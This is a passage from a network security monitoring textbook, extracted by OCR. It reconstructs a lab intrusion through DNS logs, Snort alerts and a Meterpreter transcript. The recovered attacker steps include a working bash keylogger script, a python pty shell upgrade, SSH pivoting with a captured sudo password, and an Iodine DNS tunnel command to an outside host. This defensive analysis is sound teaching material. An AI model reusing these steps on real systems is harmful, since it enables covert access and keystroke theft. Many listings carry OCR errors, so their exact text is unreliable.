tured by Netsniff-ng on the SO NSM platform at the time of the incident.

Because we have a copy of the original traffic on disk, we can run tools
like Bro against it. Netsniff-ng was able to save the full trace because it was
just logging packets straight to disk; it wasn’t doing any inspection or analy-
sis, as Bro tried to do. To determine what Bro might have missed, we can
rerun Bro against the full content data stored on the sensor. The results are
shown in Listing 11-2.

$ bro -r snort.log.1363441680

$ 1s -al

total 203008

drwxrwxr-x 3 sovm sovm 4096 Mar 16 15:54 .

drwxr-xr-x 30 sovm sovm 4096 Mar 16 15:53 ..

-IW-IW-I-- 1 sovm sovm 59960 Mar 16 15:54 conn.log
-TW-IW-T-- 1 sovm sovm 44624347 Mar 16 15:54 dns.log®
-TW-IW-I-- 1 sovm sovm 1328 Mar 16 15:54 http.log
-IW-TW-Y-- 1 sovm sovm 1446 Mar 16 15:54 notice.log
-TW-IW-T-- 1 sovm sovm 1128 Mar 16 15:54 notice_policy.log
-IW-IW-I-- 1 sovm sovm 251 Mar 16 15:54 packet filter.log
-IW-T--T-- 1 sovm sovm 163155548 Mar 16 15:53 snort.log.1363441680
-IW-IW-I-- 1 sovm sovm 1066 Mar 16 15:54 ssh.log
drwx------ 3 sovm sovm 4096 Mar 16 15:54 .state

-TW-IW-I-- 1 sovm sovm 1668 Mar 16 15:54 weird.log

Listing 11-2: Running Bro manually against full content data

The large size of the dns.log file at @ attracts our attention immediately.
How is there a 44MB DNS log for a 163MB packet trace?
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Analyzing the Bro dns.log File

We decide to browse the new dns.log file manually to see what it reveals.

In early 2013, ELSA author Martin Holste added an import.pl script (https://
code.google.com/p/enterprise-log-search-and-archive /source/browse/
trunk/elsa/node/import.pl/) to ELSA to enable manual log additions. For this
example, however, we will combine the earlier ELSA query method with manual log
review, to demonstrate how analysts can use both techniques.

We see many normal entries, and then a few that look odd. Listing 11-3
shows a few sample DNS log entries.

1363444304.701350 TOBMXgho3v5 10.0.0.99 40912 198.51.100.3 53 udp
10453  daisy.ubuntu.com® 1 C_INTERNET 1 A® 0 NOERROR F
F T T 0 91.189.95.54,91.189.95.55@ 5.000000, 5.000000
1363444390.148462 Vr7iTah4er6 10.0.0.990© 58566  203.0.113.80 53 udp
470 labhl2pekjmnzoaoteostk4ms4xthzma.practicalnsm.com® 1 C_INTERNET 10
NULL® - - F F T

F 0 - -

1363444390.147170 Vr7iTah4er6 10.0.0.990© 58566  203.0.113.80 53 udp
58279  vaaaakat2v2.practicalnsm.com® 1 C_INTERNET 10 NULL® - -

F F T F 0 -

1363444390.092180 Vr7iTah4er6 10.0.0.990 58566  203.0.113.8© 53 udp
50552  yrb5fo.practicalnsm.com® 1 C_INTERNET 10 NULL® - - F

F T F 0 - -

Listing 11-3: Normal and suspicious entries in the Bro dns.log file

The first record for daisy.ubuntu.com @ looks like a regular DNS query;
someone wants to know the IP address for this site. But the second two records
look odd. Why is someone querying for labhi2pekjmnzoaoteostk4ms4xfhzma
practicalnsm.com @, vaaaakat2v2.practicalnsm.com ©, and yrbSfo.practicalnsm
.com @? Also, unlike the first query for an A record @, these are NULL que-
ries @, which serve no practical purpose. A query for an A record returns
the IP address associated with a domain name. Bro logs the response to the
A record query in the single DNS log @.

Also note the source and destination IP addresses for these queries:
10.0.0.99 ® and 203.0.113.8 ©. The source IP address 10.0.0.99 was the sys-
tem to which 172.16.0.37 connected three times via SSH. The destination IP
address shares the same net block as 203.0.113.15, the computer hosting a
malicious Java payload. Something odd is happening here. Then we notice
other weird entries that also involve 10.0.0.99 and 203.0.113.8, as shown in
Listing 11-4. These are NULL DNS records as well @.
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1363445036.498672 FVaYW51tbNh 10.0.0.99 34482  203.0.113.8 53 udp
49394  Oeuasebeq\xc5v\xc1\xbfp2\xc5h\xdd\xdokmv\xedt\xc2\xc7\xf8\xea2p\xdc\xe0\xcd\xef\xfd\
xc5t\xed8t\xc4yj\xd1\xdfoqn\xf8\xcf0\xd8\xd480\xe7\xc5\xda\xf97\xe5k. \xebb6\xd3gj\xc76\xdb\xe9\
xdbn\xce\xf1lv\xeb\xbdo\xdayn5gko\xc3tny9\xbf\xe5\xee\xce\xd3\xfb\xee\xc2bd\xd9zj\xbe\xe2z\
xf37\xbe\xcf\xbeh\xfd\xea\xfbe.\xecch\xd4k\xc2cgjqq\xf2\xe5\xd1mj\xcckémg\xf5z\xc5\xe7sc\xeb\
xea\xfbsc\xe4\xeb\xf9\xe7xq\xd57\xd9t\xe3\xe3\xef\xcom\xd7fh\xeav\xcc8dgs.r\xfd\xe9\xf8\xca\
xd3\xe9\xc4\xd4u\xect8z\xcc\xfaw\xecyy\xc3\xf7n5bq\xf9\xe1v\xcie\xcdo\xc8z\xf53\xcecgpwy\xd7\
xfdr\xe5\xfae9iy\xe9\xebz7.practicalnsm.com 1

C_INTERNET 10 NULL® - - F F T F 0

1363444959.826628 FVaYW51tbNh 10.0.0.99 34482  203.0.113.8 53 udp
53252  oiiafy\xf7\xdf\xdbw\xfa\xe3\xeiw\xe7u5\xd5auz\xbf\xe3\xd6\xe6\xd0o\xf4u\xcoa\xe4\
xc31\xdf\xe6\xe1\xf6\xe1\xe1\xbf\xf62c\xd6\xeb6d\xe8\xcf\xe2m\xc4\xe3\xe8\xeeru\xe68\xcd\
xc8\xf4j. \xea\xfoujb\xdau\xco\xda\xf3\xef\xeb\xc5\xf9\xc4p\xbe\xee\xf6\xc1awd\xfc\xf2\xc5\
xd0o\xfd\xf1\xcOof\xc5r\xe0\xc9\xecm\xdd\xd2\xe21\xf0\xd8\xfc\xd8ct5\xc6\xfdt\xcce\xec\xf7z\
xea.z\xe5m\xfbr\xe9\xbe\xd2\xe7\xfd\xe3\xc6cu\xc2awtz\xeb\xe1ugk\xbf\xf2\xcb4\xebviw\xcei\xd8\
xca\xc8hmsgaqjzhkd\xeou\xe4\xfa\xc7nitlk.\xbc\xeb\xdec\xe1\xc8131yiz\xfd\xd1\xf8\xfdro\xdo\
xef3p\xccoql\xd9\xdb\xc5\xedt\xc2\xc1\xd5\xf2m\xfcq\xebm\xc2\xc8f\xf9x\xf8xikc\xc3wu\xdfcc.

practicalnsm.com 1 C_INTERNET 10 NULL® - - F F T
F 0 - -
1363445003.696798 FVaYW51tbNh 10.0.0.99 34482 203.0.113.8 53 udp

45003  Oakazvdidx3\xf1bv\xf078w\xe20\xfd\xdoi\xc1\xe7d\xe2\xc5\xcd\xe3\xda7\xe0\xf9\xbf9\
xfdk\xefrxcn\xd5\xebue\xc6\xed\xbc\xc5b\xe2\xcc\xda\xdo\xc3\xe2\xbdij8. \xdf\xf3\xfa\xefy\xfd\
xc8yhm\xbe\xf771\xc8\xdc\xe3\xe0\xca\xdeo\xcO\xf3\xcbam\xd1\xd2\xfdt\xd1i\xd7r\xea\xcbc3\xdc\
xee\xe5\xe040\xd9\xce\xec8n\xf99w\xd8\xfcjnw. \xf2j\xed\xf5\xf6\xeb\xc60\xf3hv\xf9\xc38s\xef\
xd5b\xe4\xc6\xc9\xc9g\xd38\xfbhy\xf5\xccxw\xc7\xdoa2ypsz\xca\xe3\xbd\xc8\xbd\xc6cy\xd2\xce\
xbf\xe0b\xd8\xc4\xc6i.cb1\xf4fqp\xce\xd4\xebb\xe9v\xfdk\xed\xc3\xce\xcf\xe5]j\xfou\xf4uyn\
xed\xe30\xf61\xd7zyrp\xf2\xfd5swrz\xe8\xe6\xd5\xe2\xd3iv\xf2m\xd2\xe9\xdb.practicalnsm.com

1 C_INTERNET 10 NULL® - - F F T F 0

Listing 11-4: Malicious entries in the Bro dns.log file

It looks as if someone is transporting data within hostnames in the
practicalnsm.com domain. This appears to be a form of covert channel—an
intruder is sending content via DNS records.

The technique we’re observing is popular when defenders keep tight
access controls on outbound traffic. If an attacker can query name servers,
he can send data packaged as part of the hostnames he queries via DNS.
(This is a low-bandwidth attack method because a limited number of bytes
can be carried in a hostname. In fact, more than 65,000 DNS records in
this particular Bro dns.log file are associated with this sort of activity.)

Checking Destination Ports

So far, we’ve recognized that four IP addresses are involved in this particular
intrusion. Two belong to Vivian’s Pets: 172.16.0.37 (in the wireless network),
and 10.0.0.99 (in the internal network). Two belong to the intruder and sit
on the Internet: 203.0.113.15 and 203.0.113.8. Figure 11-11 shows the posi-
tions of these IP addresses on the network.
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Intruder 1 _—
203.0.113.15 nterne

Intruder 2
203.0.113.8
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Network
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Network
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172.16.0.37

Desktop
10.0.0.99

Figure 11-11: Participants in the intrusion

We decide to take another look at traffic involving 203.0.113.115, this
time by querying ELSA for records and group by dstport (destination port).
The results are shown in Figure 11-12.

Figure 11-12: ELSA displays a summary
of dstport entries for 203.0.113.15.
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Records with 54056 as the destination port are associated with the
Metasploit Meterpreter activity noted earlier. There is only one type of mes-
sage for this activity; they are all Snort alerts, as shown in Figure 11-13.

Count Value

|
76 ET TROJAN Metasploit Meterpreter core_channel_* Command Request
29 ET TROJAN Metasploit Meterpreter stdapi_* Command Request

Figure 11-13: ELSA displays a summary of Snort signatures for
203.0.113.15 and dstport 54056.

Turning to destination port 4444, we use a similar process with similar
results. Figure 11-14 shows what ELSA returns when we examine records

where port 4444 is the destination port and 203.0.113.15 is an IP address.

3.15 +dstport="4444" (104) [Grouped by sig_msqg] [ % |

Result Options... =

Count Value

|
75 ET TROJAN Metasploit Meterpreter core_channel_* Command Response
27 ET TROJAN Metasploit Meterpreter stdapi_* Command Response

Figure 11-14: ELSA displays a summary of Snort signatures for
203.0.113.15 and dstport 4444.

It’s important to realize that these two destination ports are actually
artifacts of packets being exchanged between the computers at 203.0.113.15
and 172.16.0.37. It may be difficult to recognize this because ELSA is sum-
marizing information captured in Snort alerts and other formats. However,
a quick check of the Argus session data makes it easy to understand this
important connection, as shown in Listing 11-5.

$ racluster -n -r /nsm/sensor_data/sovm-ethi/argus/2013-03-16.1log - host 203.0.113.15

TotBytes State

StartTime Flgs Proto SrcAddr Sport Dir DstAddr Dport
14:16:48.724146 e tcp 172.16.0.37.60320 -> 203.0.113.15.80800
14:16:52.5445;N e tcp 172.16.0.37.60321 -> 203.0.113.15.8080@
14:16:52.73582N e tcp 172.16.0.37.60322 -> 203.0.113.15.8080©
14:16:53.37162(I)N e tep 172.16.0.37.54056 -> 203.0.113.15.44440

FIN

Listing 11-5: Argus records for sessions involving 203.0.113.15
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This record shows that 172.16.0.37 connected to 203.0.113.15 four times,
as shown in the four sessions. The first three sessions connected to port 8080
TCP at @, @, and ©. The last session connected to port 4444 TCP @.

We can examine these conversations via the full content data as well,
and use Tshark to pay attention to the HTTP traffic to port 8080 TCP.
Listing 11-6 shows that activity.

$ tshark -t ad -n -r /nsm/sensor_data/sovm-ethi/dailylogs/2013-03-16/snort
.log.1363441666 -R 'tcp.port==8080 and http'

2910 2013-03-16 14:16:48.727696 172.16.0.37 -> 203.0.113.15 HTTP 373
GET /healthcarenews HTTP/1.1

2912 2013-03-16 14:16:48.729359 203.0.113.15 -> 172.16.0.37 HTTP 200
HTTP/1.1 302 Moved

2914 2013-03-16 14:16:48.746910 172.16.0.37 -> 203.0.113.15 HTTP 374
GET /healthcarenews/ HTTP/1.1

2915 2013-03-16 14:16:48.752649 203.0.113.15 -> 172.16.0.37 HTTP 291
HTTP/1.1 200 OK (text/html)

2917 2013-03-16 14:16:48.897487 172.16.0.37 -> 203.0.113.15 HTTP 340
GET /favicon.ico HTTP/1.1

2918 2013-03-16 14:16:48.899164 203.0.113.15 -> 172.16.0.37 HTTP 335
HTTP/1.1 404 File not found (text/html)

2920 2013-03-16 14:16:48.905587 172.16.0.37 -> 203.0.113.15 HTTP 370
GET /favicon.ico HTTP/1.1

2921 2013-03-16 14:16:48.908271 203.0.113.15 -> 172.16.0.37 HTTP 335
HTTP/1.1 404 File not found (text/html)

2926 2013-03-16 14:16:52.560069 172.16.0.37 -> 203.0.113.15 HTTP 415
GET /healthcarenews/Exploit.jar.pack.gz@® HTTP/1.1

2928 2013-03-16 14:16:52.719387 203.0.113.15 -> 172.16.0.37 HTTP 200
HTTP/1.1 302 Moved

2930 2013-03-16 14:16:52.722747 172.16.0.37 -> 203.0.113.15 HTTP 274
GET /healthcarenews/ HTTP/1.1

2932 2013-03-16 14:16:52.725372 203.0.113.15 -> 172.16.0.37 HTTP 291
HTTP/1.1 200 OK® (text/html)

2939 2013-03-16 14:16:52.738151 172.16.0.37 -> 203.0.113.15 HTTP 364
GET /healthcarenews/Exploit.jar® HTTP/1.1

2945 2013-03-16 14:16:53.022853 203.0.113.15 -> 172.16.0.37 HTTP 1138
HTTP/1.1 200 OK® (application/octet-stream)

2951 2013-03-16 14:16:53.037218 172.16.0.37 -> 203.0.113.15 HTTP 406
GET /healthcarenews/Exploit.jar® HTTP/1.1

2957 2013-03-16 14:16:53.056665 203.0.113.15 -> 172.16.0.37 HTTP 1138
HTTP/1.1 200 OK® (application/octet-stream)

Listing 11-6: HTTP traffic from 172.16.0.37 to 203.0.113.15

Listing 11-6 contains several troublesome entries. Requests for Exploit
Jarpack.gz at @ and Exploit.jar ® © indicate the intruder’s code on the victim
system is trying to retrieve additional software from the attacking system. The
initial code running on the victim is a beachhead, and now it’s calling back
home for reinforcements. Unfortunately for the victim, those packages are
available and served upon order, as shown by the 200 0K responses @ © ©.

This is another way to view activity that started the intrusion. However,
we still need to know what happened after the attack succeeded.
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Examining the Command-and-Control Channel

From our previous analysis, we know that the intruder pivoted from victim
172.16.0.37 to 10.0.0.99, but we don’t know what he did on those two systems.
Perhaps the traffic involving port 4444 TCP holds the answer. This could
be the command-and-control channel, because it appears immediately after
the connections to the malicious website.

To analyze the suspected command-and-control channel, we generate
a transcript for port 4444 traffic using the CapMe feature in ELSA. Click
the Info button next to the record of interest involving port 4444 to get full
content data. Figure 11-15 shows how to access CapMe.

203.0.113.15 (244)| X ” 172.16.0.37 (513)| X H 203.0.113.15 (250) [Grouped by dstport] | X 15 +dstport="4444" (

Result Options... * Field S Y
host(1) program(1) class(1) sig_priority(1) proto(1) srcip{l) srcport(1) dstip{1) dstport(1) sig_sid{2) sig_msq(2) sig_classification(1) interface(1)

Records: 100 / 102 138 ms ? irst <prev 1 234|586 7| next> last>> [15 ¥
Timestamp =~ Fields
[1:2014532:3] ET TROJAN M¢ Log info % | sification: Successful User Privilege Gain]
i e 16 [Pnomy 1J: {TCP} 172.16.0.%
Info | 416:58 SET Summary
Links
http://doc.emergingthreats .net/binfview/Main/2014532
Plugins
|nfp | St Mar 16 =d
M 4658 snor | piugin -
ional
)
[12014532 3] ET TROJAN M¢
cl
— | 14:16:58 .

Figure 11-15: Starting CapMe to generate a transcript for port 4444 traffic

Click the getPcap option, and then click OK, to display a new screen
where we input credentials to access the sensor. Also, for this example, I
needed to change the Sid Source entry from sancp to event to help CapMe
find the right session. When I ran this query originally, CapMe did not find
the session with the Sid Source as sancp. The session record was probably
not loaded yet, so I used the event table to find the data of interest. This
approach works only if there is an event (triggered by Snort or Suricata,
for example) associated with the traffic. It’s safer to use the sancp table
as long as the records have been loaded. You may need to wait a few min-
utes for the records to load. Figure 11-16 shows the CapMe data request
interface.

In this section, we will examine the resulting transcript. At 642KB, it’s
quite large, and manually examining it for entries of interest is tedious,
but doing so is our best way to determine what happened to the victim
systems. We’ll look at excerpts from the transcript and what is happening
at each point.
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capME!

Src IP [ Port: 172.16.0.37 | 54056
Dst IP [ Port: 203.0.113.15 1 4444
Start Time: 1363441618
End Time: 1363445218
Username:  sovm
Password: | s

Sid Source: () sancp (s) event

Figure 11-16: Configuring CapMe to retrieve a transcript for
port 4444 traffic

Initial Access

The transcript begins with the standard header created by Sguil (which
handles transcript creation for CapMe, in the background) as shown in
Listing 11-7. The command-and-control channel is not a cleartext-based
exchange as in previous examples, so be prepared for a lot of extraneous

characters!
Sensor Name: sovm-eth1-1
Timestamp: 2013-03-16 14:17:57
Connection ID: .sovm-eth1-1_210
Src IP: 172.16.0.37 (Unknown)
Dst IP: 203.0.113.15 (Unknown)
Src Port: 54056
Dst Port: 4444
0S Fingerprint: 172.16.0.37:54056 - UNKNOWN [S10:64:1:60:M1460,S,T,N,W6:.:2:?] (up: 4 hrs)

0S Fingerprint: -> 203.0.113.15:4444 (link: ethernet/modem)

DST: «oivivinns -.
DST: ......... start..E(Ljava/io/DataInputStream;Ljava/io/OutputStream;[Ljava/lang/String;)V..

Listing 11-7: Standard transcript header created by Sguil

Next, the term meterpreter appears, as shown in Listing 11-8. We’ve already
seen this in the Snort alerts, but the presence of the term here indicates we’re
dealing with a Meterpreter component of the Metasploit framework.
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DST: java/util/Map....... 7com/metasploit/meterpreter/MemoryBufferURLStreamHandler.............
getFiles...java/lang/Class........ java/lang/Object.....

Listing 11-8: The meterpreter reference

As shown in Listing 11-9, next we see the term sysinfo, followed by
what might be a hostname, wirubu32, and a Linux kernel version, Linux
3.5.0-25-generic (i386). The victim system appears to be a Linux 1386

platform.
SRC: veiinnnt. "....stdapi_sys_config_sysinfo....)....53495413969516947426070095319226.........
wirubu32....&....Linux 3.5.0-25-generic (i386).............

DST:

Listing 11-9: System information

Next, we see the term desktop_screenshot, as shown in Listing 11-10,
which is certainly suspicious. This is probably a command to acquire a
screen capture of the victim’s desktop.

RN | %....stdapi_ui_desktop_screenshot....)....53921668623768997177532920965755..........
ceerJeXe o }|T..0]8s..0 .t AS UL T LT L0 2.08. k8L LT UAM)RLAZ L L LvdlGm. . /
[...V..0...0.0...W0..X..oouugeo { L {  {oym. g} o

Listing 11-10: The desktop_screenshot command for getting screen captures

This second appearance of a desktop_screenshot command is followed
by a JFIF string, as shown in Listing 11-11. This is probably the header for
a JPEG File Interchange Format (JFIF) file.

SRC: veiinnnt. %....stdapi_ui_desktop_screenshot....)....53921668623768997177532920965755. .
ceWeiieinnn ] o Covnnn

Listing 11-11: JFIF reference

The excerpt in Listing 11-12 shows the net_config_get_interfaces and
net_config_get_routes functions. The intruder is probably listing network
interfaces and routes on the victim system to see where he sits on the

network.
DST: ...Z....... )....stdapi_net_config get interfaces....)....90005067652712330016895656875088.
SRC: .
SRC: . jeeeennn )....stdapi_net_config_get_interfaces....)....90005067652712330016895656875088. .
............... @eeeeneeena]eenennieeaZieeninannennann.etho -
etho..vvieivininninne, ) IR N /S
..... @eeeeeennee]onnnnnneeeeZea@eeennnneeeeeeeed0 = 10ueeeeiieiinnnninneeeeereeeeennnnnnnnnns
DST: ...V....... %....stdapi net_config get routes....)....34295947967733618834188710122897.
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........... T DN N

Listing 11-12: The net_config get_interfaces and net_config_get routes functions

The getwd command in Listing 11-13 probably means to get the working
directory, followed by a mention of the /home/ubu32 directory.

e e e e P@......
........................................................................ SO
DST: c..levenniivnnnnn stdapi fs getwd....)....55282344159994215019998291531526.

SRC:

SRC: veivevevnennen. stdapi_fs_getwd....)....55282344159994215019998291531526......... /home/
ubuz2.............

Listing 11-13: The getwd command and /home/ubu32 reference

Listing 11-14 shows the most interesting entry so far. The string keylog
.sh indicates that a keylogger is involved. If the intruder can capture keystrokes
on the victim, he can access all sorts of information and potentially other
systems. Following the name of the script appears to be the script itself, as
well as the name of the file used to save the logged keystrokes: /tmp/.xkey.log.
With this information, we could look for the file on the victim hard drive,
assuming the intruder didn’t delete it or the system didn’t remove it after

rebooting.
DST: tiviiiennn core_channel _open....)....64467327797845790259721795802753 .. .... 3std
api_fs _file........ Beviiiiiiiiiiiiiiiiiiaaas keylog.sh......... wbb.
SRC: .
SRC: viCevvvvnnnnnnn core_channel open....)....64467327797845790259721795802753 . ...... 2iiiienn
DST: tiviiineennnnn core_channel_write....)....05544054210663822153934887650143........ 2.....
..X...4#!/bin/bash

DST: export DISPLAY=:0.0

DST: xinput list

DST: echo -e "KBD ID ?"

DST: read kbd

DST: xmodmap -pke > /tmp/.xkey.log

DST: script -c "xinput test $kbd" | cat >> /tmp/.xkey.log &

DST: echo "The keylog can be downloaded from /tmp/.xkey.log"

DST: echo "Use the meterpreter download function"

DST: echo "Press CTLR+C to exit this session, keylogger will run in background"

Listing 11-14: Keylogger references

The intruder appears to run an 1s -al command next. (Listing 11-15
shows only part of the output, although all of it was present in the transcript.)
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DST: tieSuiiiiinneennn core_channel write....)....27069574503151630704223424155348........ P

..... 4ls -al

DST: ..o,

SRC:

SRC: vodevuniiiinnnn core_channel _write....)....27069574503151630704223424155348. . ..cvuvennnn.
SRC: .

SRC: v 2iiiiann W...4total 164

SRC: drwxr-xr-x 24 ubu32 ubu32 4096 Mar 16 10:22 .

SRC: drwxr-xr-x 3 root root 4096 Mar 8 21:00 ..

SRC: -rW------- 1 ubu32 ubu32 4447 Mar 16 08:17 .bash_history
SRC: -rw-r--r-- 1 ubu32 ubu32 220 Mar 8 21:00 .bash_logout
SRC: -1w-r--1-- 1 ubu32 ubu32 3486 Mar 8 21:00 .bashrc

SRC: drwx------ 15 ubu32 ubu32 4096 Mar 16 06:29 .cache
SRC: drwxrwxr-x 3 ubu32 ubu32 4096 Mar 15 08:52 .compiz-1
SRC: drwx------ 11 ubu32 ubu32 4096 Mar 16 09:34 .config
SRC: drwx------ 3 ubu32 ubu32 4096 Mar 8 21:34 .dbus

SRC: drwxr-xr-x 2 ubu32 ubu32 4096 Mar 8 21:34 Desktop
SRC: -1W-r--r-- 1 ubu32 ubu32 26 Mar 16 09:08 .dmrc
SRC: drwxr-xr-x 2 ubu32 ubu32 4096 Mar 8 21:34 Documents

Listing 11-15: An Is -al command

The next command, mv keylog.sh .pulse, shows the intruder moving his
keylogger script into the .pulse directory, as shown in Listing 11-16. Next, he
changes the user permissions to rwx, for read-write-execute.

DST: tiveevinnnnnnns core_channel_write....)....64553530986314682019983298603129........ PR
..... 4mv keylog.sh .pulse

DST: teeiiieennnnn. core_channel_write....)....60405588103478885840826252268236........ 20,
..... 4chmod u=rwx keylog.sh

DST: e

SRC:

SRC: ..deveiiiinnn.. core_channel_write....)....60405588103478885840826252268236.....c0c0vunn..

Listing 11-16: The mv keylog.sh .pulse command and rxw permissions

Here, the intruder appears to execute his keylog.sh script. (The output of
the script follows in Listing 11-17.) This script gives the intruder a chance to
select the keyboard to monitor and reminds him to look in the /tmp/.xkey.log
directory for results.

DST: vieXevrrreeennnn core_channel write....)....75957044127671614064150081298305........ 20....
..... 4./keylog.sh

DST: evvinnnnn

SRC: .

SRC: v.deveiiiinnnn. core_channel _write....)....75957044127671614064150081298305. . .ccceuuennnn.
SRC:

SRC: v 2iiiiiiaenn 4... Virtual core pointer .id=2.[master

pointer (3)]
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SRC: ... ... Virtual core XTEST pointer .id=4.[slave pointer (2)]

SRC: ... ... VMware VMware Virtual USB Mouse .id=7.[slave pointer (2)]

SRC: ... ... VMware VMware Virtual USB Mouse .id=8.[slave pointer (2)]

SRC: ... ... ImPS/2 Generic Wheel Mouse .id=10.[slave pointer (2)]

SRC: ... Virtual core keyboard .id=3.[master keyboard (2)]

SRC: ... Virtual core XTEST keyboard .id=5.[slave keyboard (3)]

SRC: ... Power Button .id=6.[slave keyboard (3)]

SRC: ... AT Translated Set 2 keyboard .id=9.[slave keyboard (3)]

SRC: e core_channel_write....)....SRREVPPXSOANPPYWFQHSVCNMFFBIBMMI. .. .u......
..... 2...........4KBD ID ?

SRC: wveiiiii i core_channel _write....)....NBVSIORNAUEQNTEQFFFCIMHXSAEMNQNA.

DST: oulevevveennnn. core_channel write....)....45042497071271683260243072775318........ 2.....
DST: 49

DST: «oevvnnennt.

SRC:

SRC: ..deveiinnnnnn. core_channel_write....)....45042497071271683260243072775318.....ccuvuu....
SRC: .

SRC: ittt 2 4The keylog can be downloaded from /tmp/.xkey.log

SRC: Use the meterpreter download function
SRC: Press CTLR+C to exit this session, keylogger will run in backround

Listing 11-17: The keylog.sh script and reminder

Next, we see evidence that the intruder transferred a file called
iodine_0.6.0~rcl-7_1386.deb from 203.0.113.15 to 172.16.0.37, as shown in
Listing 11-18. This appears to be a Debian package of the Iodine covert
DNS tunnel tool. The intruder must have used this tool to create the tens
of thousands of unusual DNS entries discussed earlier.

DST: weiiiiiiieennnnn core_channel open....)....32392496134731212115385138997235........ 3std
api fs file........ Bevinniiiiiiiieaaes $....iodine_0.6.0~rc1-7_i386.deb......... wbb.

Listing 11-18: The iodine_0.6.0~rc1-7_i386.deb reference

Improving the Shell

The next command is fascinating, as shown in Listing 11-19. By running
python -c 'import pty;pty.spawn("/bin/bash")’, the intruder improves the shell
he is using on the victim system by starting a Bash shell. By using Python

to start a Bash shell, he creates a shell that can prompt the user and accept
replies. (When an intruder opens a shell with Meterpreter, he may not have
access that allows him to enter passwords when prompted. This is a problem
when trying to run sudo or answer any other command that prompts the user.)

DST: teviiiennnn core_channel_write....)....07078092619529470178701062926304. ....... 200en.
.6...4python -c 'import pty;pty.spawn("/bin/bash")’

Listing 11-19: Bash shell startup
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Continuing through the transcript reveals the reason for the Bash shell.
The intruder uses scp, as shown in Listing 11-20, to transfer (via SSH) the
iodine_0.6.0~rcl-7_i386.deb package from 172.16.0.37 to 10.0.0.99 as user ubu32.
How does the intruder have the password to log in to 10.0.0.99? He prob-
ably captured it with his keylogger.

DST: tiiiiiiiinnennn core_channel_write....)....28332839019310295629231957979483........ 2000
.=...4scp iodine_0.6.0~rc1-7_i386.deb ubu32@10.0.0.99:/tmp

Listing 11-20: Transfer of the iodine_0.6.0~rc1-7_i386.deb package

Summarizing Stage 1

At this point, the intruder has taken several steps involving one victim sys-
tem, as summarized in Figure 11-17. He enticed a user to click a malicious
link posted to Twitter. That link pointed to a URL involving 203.0.113.15,
and the victim 172.16.0.37 visited a web server on the intruder’s system.
That malicious web server offered code that exploited a vulnerable Java
instance on 172.16.0.37. The payload delivered with the Java exploit caused
the victim to reach back again to 203.0.113.15 to retrieve more attack soft-
ware from the intruder.

1. Victim clicks on malicious URL on Twitter.

SOCIAL MEDIA OR OTHER COMMUNICATION

Twitter - - — - - - - - - - - - - - - = > Victim
172.16.0.37
2. Victim web browser connects to
203.0.113.15:8080/healthcarenews.
NETWORK CONNECTION
Intruder 1 _ Victim
203.0.113.15 - 172.16.0.37
3. Attack method exploits vulnerable Java Exoloited
software on victim system to execute code. P
4. Malicious code causes victim to reach back to intruder
so intruder can retrieve more malicious software.
NETWORK CONNECTION
Intruder 1 B Victim
203.0.113.15 - 172.16.0.37

Figure 11-17: A summary of stage 1 of the client-side compromise
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Pivoting to a Second Victim

Next, as shown in Listing 11-21, it appears that the intruder is connecting
from the first victim, 172.16.0.37, via SSH as user ubu32 to a second victim,
10.0.0.99. This is followed by the login prompt on 10.0.0.99, another Linux
system that’s running the same kernel. It advertises itself as an Ubuntu
12.0.4.2 LTS distribution.

DST: tiviiiiiieennnnn core_channel write....)....21495256091063571385331835436694........ 2000
..... 4ssh ubu32@10.0.0.99

SRC: cUeeennnnnnns 2 4Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-25-generic i686)
SRC:

SRC: * Documentation: https://help.ubuntu.com/

SRC:

SRC: 0 packages can be updated.
SRC: 0 updates are security updates.

Listing 11-21: Ubuntu connection to another victim

By running sudo bash, as shown in Listing 11-22, the intruder escalates
his access to root privileges.

DST: toiVeieeverennnn core_channel_write....)....29459743353766825927232004106327........ 2000,
..... 4sudo bash

DST: ..vvvnnnnn.

DST:

SRC:

SRC: ..devvviinnnnn. core_channel _write....)....29459743353766825927232004106327. .. cuuvuns
SRC: wiviivn,

SRC: oaWeevinnnn.. 2iiiiiians 4sudo bash

SRC: et core_channel write....)....UJUHVDEWIYIKWPCUMRTWODZUIDRXEMKG.

SRC: .

SRC: veviviiinee 2iiiiaen #...4[sudo] password for ubu32: .........c.ieiiiinnn core_channel _
write....)....JTCKKYYZSXEFTWGOEWDZKWHCOLJYUWZG.

DST: tioVeeeeeeennnnn core_channel _write....)....56755805437825017718244048581240........ 2000
..... 4wonderubu

Listing 11-22: Access escalation with sudo bash

Installing a Covert Tunnel

As root, the intruder now installs the Iodine DNS covert tunnel tool via
dpkg -i iodine_0.6.0~rc1-7_1i386.deb, as shown in Listing 11-23.

DST: teivneinnnnennnns core_channel write....)....64642638366982677090891088802167........ 2ieen.
.,...4dpkg -i iodine_0.6.0~rc1-7_1i386.deb

Listing 11-23: lodine DNS covert tunnel tool installation
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Next, we see that the intruder starts the Iodine tool with the command
iodine -r 203.0.113.8 practicalnsm.com, as shown in Listing 11-24. He is start-
ing the Iodine client, pointing it to a server at 203.0.113.8, with DNS traffic
using the practicalnsm.com domain. (I wonder who caused this intrusion?)
Because the attacker initiates Iodine in this manner, it looks like the victim,
10.0.0.99, will communicate directly with an Iodine server at 203.0.113.8.
(There is no need to communicate with a DNS server when Iodine is run in
this manner, but the covert traffic will still appear as DNS.)

DST: tiiiiiiiieennnn core_channel write....)....54112282595894012391779534721588........ 2000
./...4iodine -r 203.0.113.8 practicalnsm.com

Listing 11-24: lodine tool startup

Listing 11-25 likely shows output received from the Iodine server. We
see that the server IP address is 10.10.0.1, which tells us that there is a VPN
sort of channel between 10.0.0.99 and 203.0.113.8. Now the two computers
can communicate with each other via IP addresses like 10.10.0.1 for the
server, rather than 203.0.113.8. (The Iodine tool encapsulates the intruder’s
communications in DNS traffic.)

SRC: wiiiiiiiii i core_channel write....)....
WXQSROPTXGMIWNZFNDHOHWTCFEIDDKUF ¢ e e e e vvennns 2000000000 .. 4Server tunnel IP is 10.10.0.1

Listing 11-25: Output from the lodine server

To test connectivity, the intruder uses the ping utility to contact 10.10.0.1,
the IP address at the other end of the tunnel, as shown in Listing 11-26. The
remote system replies, and the tunnel is working. An NSM sensor will not
see ICMP traffic, but it will start seeing odd DNS activity.

SRC: iiiiiiiiiee p 4ping -c 3 10.10.0.1

SRC: et core_channel _write....)....BGCEPMSGLBOFCPOHKXSKOAMVWVCRDKFU.
SRC: .

SRC: weviieennns 2.......5...4PING 10.10.0.1 (10.10.0.1) 56(84) bytes of data.

